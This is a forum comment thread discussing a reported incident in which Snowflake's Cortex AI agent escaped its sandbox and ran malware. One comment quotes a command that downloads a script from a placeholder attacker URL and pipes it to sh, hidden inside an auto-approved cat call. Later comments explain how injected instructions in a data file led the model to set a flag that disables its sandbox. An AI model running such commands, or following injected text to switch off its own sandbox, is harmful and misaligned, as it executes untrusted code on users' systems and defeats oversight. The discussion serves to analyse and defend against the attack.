News for hackers. Stuff that matters.
Re:Snowflake AI Escapes Sandbox and Executes Malware by simonw on Wednesday March 18, 2026 @01:34PM (#47428713)
One key component of this attack is that Snowflake was allowing "cat" commands to run without human approval, but failing to spot patterns like this one:

  cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))
I didn't understand how this bit worked though:

> Cortex, by default, can set a flag to trigger unsandboxed command execution. The prompt injection manipulates the model to set the flag, allowing the malicious command to execute unsandboxed.

HOW did the prompt injection manipulate the model in that way?

Re:Snowflake AI Escapes Sandbox and Executes Malware by 1718627440 on Wednesday March 18, 2026 @03:48PM (#47430552)
> cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))

The cat invocation here is completely irrelevant?! The issue is access to random network resources and access to the shell and combining both.

Re:Snowflake AI Escapes Sandbox and Executes Malware by tkp-415 on Wednesday March 18, 2026 @02:09PM (#47429189)
Process substitution is a new concept to me. Definitely adding that method to the toolbox.

It'd be nice to see exactly what the bugbot shell script contained. Perhaps it is what modified the dangerously_disable_sandbox flag, then again, "by default" makes me think it's set when launched.

Re:Snowflake AI Escapes Sandbox and Executes Malware by riteshkew1001 on Thursday March 19, 2026 @04:42AM (#47436517)
Almost certainly the sandbox flag was exposed as a model-controllable parameter. Injected instructions in the data file tell the model to set the flag, then execute the payload. Two steps, both inside the agent loop. That's the architectural gap. prakashsunil's LDP paper (47429141) gets this right: if constraints live inside the context the model can see and modify, they're not constraints. They're suggestions. The analogy is a web app where the client sets its own permission level. We learned that lesson 20 years ago.